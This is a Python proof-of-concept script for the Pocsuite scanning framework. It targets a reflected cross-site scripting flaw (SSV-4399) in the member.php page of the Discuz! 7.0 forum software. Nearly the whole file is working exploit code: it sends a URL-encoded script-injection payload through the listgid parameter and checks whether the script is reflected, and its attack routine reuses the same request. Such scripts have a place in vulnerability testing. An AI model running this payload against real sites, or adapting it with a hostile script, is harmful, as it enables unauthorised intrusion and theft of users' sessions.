Discuz! member.php xss漏洞

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from urlparse import urljoin

class TestPOC(POCBase):
    vulID = 'SSV-4399'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2008-11-05'
    createDate = '2015-10-21'
    updateDate = '2015-10-21'
    references = ['http://www.sebug.net/vuldb/ssvid-4399']
    name = "Discuz! member.php xss漏洞"
    appPowerLink = 'www.discuz.net'
    appName = 'Discuz'
    appVersion = '7.0'
    vulType = 'XSS'
    desc = '''  
        由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        payload = "/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/Sebug0x23333/)%3C/script%3E"
        res = req.get(urljoin(self.url, payload), timeout=5)
        return self.parse_verify(res, payload, 'xss')

    def parse_verify(self, res, payload, type):
        output = Output(self)
        result = {}
        if  type == 'xss' and '>alert(/Sebug0x23333/)' in res.content: 
            # 会员列表页面存在分页时触发
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = urljoin(self.url, payload)
            output.success(result)           
        else:
            output.fail('Internet Nothing returned')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)